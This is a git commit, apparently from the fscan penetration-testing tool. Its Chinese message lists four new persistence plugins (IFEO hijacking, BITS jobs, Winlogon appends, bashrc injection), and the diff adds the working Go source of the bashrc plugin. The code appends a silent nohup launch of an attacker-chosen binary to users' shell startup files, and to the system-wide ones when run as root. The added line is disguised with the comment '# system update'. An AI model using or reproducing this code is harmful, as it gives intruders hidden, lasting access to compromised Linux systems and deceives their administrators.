feat: 新增 4 种持久化插件

- winifeo: IFEO 映像劫持 (sethc/utilman/narrator)
- winbits: BITS 后台任务持久化，通过 GUID 操作避免同名冲突
- winlogon: Winlogon Userinit/Shell 追加
- bashrc: Linux bashrc/profile 注入

plugins/local/bashrc.go

@@ -0,0 +1,105 @@
+//go:build (plugin_bashrc || !plugin_selective) && !windows && !no_local
+
+package local
+
+import (
+	"context"
+	"fmt"
+	"os"
+	"os/user"
+	"path/filepath"
+	"strings"
+
+	"github.com/shadow1ng/fscan/common"
+	"github.com/shadow1ng/fscan/common/i18n"
+	"github.com/shadow1ng/fscan/plugins"
+)
+
+type BashRCPlugin struct {
+	plugins.BasePlugin
+}
+
+func NewBashRCPlugin() *BashRCPlugin {
+	return &BashRCPlugin{BasePlugin: plugins.NewBasePlugin("bashrc")}
+}
+
+func (p *BashRCPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
+	pePath := session.Config.PersistenceTargetFile
+	if pePath == "" {
+		return &plugins.Result{Success: false, Error: fmt.Errorf("未指定持久化文件，使用 -persistence-file 参数")}
+	}
+	if _, err := os.Stat(pePath); err != nil {
+		return &plugins.Result{Success: false, Error: fmt.Errorf("文件不存在: %s", pePath)}
+	}
+
+	absPath, _ := filepath.Abs(pePath)
+	payload := fmt.Sprintf("\n(nohup %s &>/dev/null &) # system update\n", absPath)
+
+	targets := []struct {
+		path string
+		desc string
+	}{
+		{filepath.Join(homeDir(), ".bashrc"), "~/.bashrc"},
+		{filepath.Join(homeDir(), ".profile"), "~/.profile"},
+	}
+
+	if os.Getuid() == 0 {
+		targets = append(targets,
+			struct{ path, desc string }{"/etc/profile", "/etc/profile"},
+			struct{ path, desc string }{"/etc/bash.bashrc", "/etc/bash.bashrc"},
+		)
+	}
+
+	var output strings.Builder
+	var successCount int
+
+	for _, t := range targets {
+		if _, err := os.Stat(t.path); err != nil {
+			continue
+		}
+		data, err := os.ReadFile(t.path)
+		if err != nil {
+			continue
+		}
+		if strings.Contains(string(data), absPath) {
+			output.WriteString(fmt.Sprintf("[跳过] %s: 已存在\n", t.desc))
+			continue
+		}
+		f, err := os.OpenFile(t.path, os.O_APPEND|os.O_WRONLY, 0644)
+		if err != nil {
+			output.WriteString(fmt.Sprintf("[失败] %s: %v\n", t.desc, err))
+			continue
+		}
+		_, err = f.WriteString(payload)
+		f.Close()
+		if err != nil {
+			output.WriteString(fmt.Sprintf("[失败] %s: %v\n", t.desc, err))
+			continue
+		}
+		output.WriteString(fmt.Sprintf("[成功] %s\n", t.desc))
+		successCount++
+	}
+
+	if successCount > 0 {
+		common.LogSuccess(i18n.Tr("bashrc_success", successCount))
+	}
+
+	return &plugins.Result{
+		Success: successCount > 0,
+		Type:    plugins.ResultTypeService,
+		Output:  output.String(),
+	}
+}
+
+func homeDir() string {
+	if u, err := user.Current(); err == nil {
+		return u.HomeDir
+	}
+	return os.Getenv("HOME")
+}
+
+func init() {
+	RegisterLocalPlugin("bashrc", func() Plugin {
+		return NewBashRCPlugin()
+	})
+}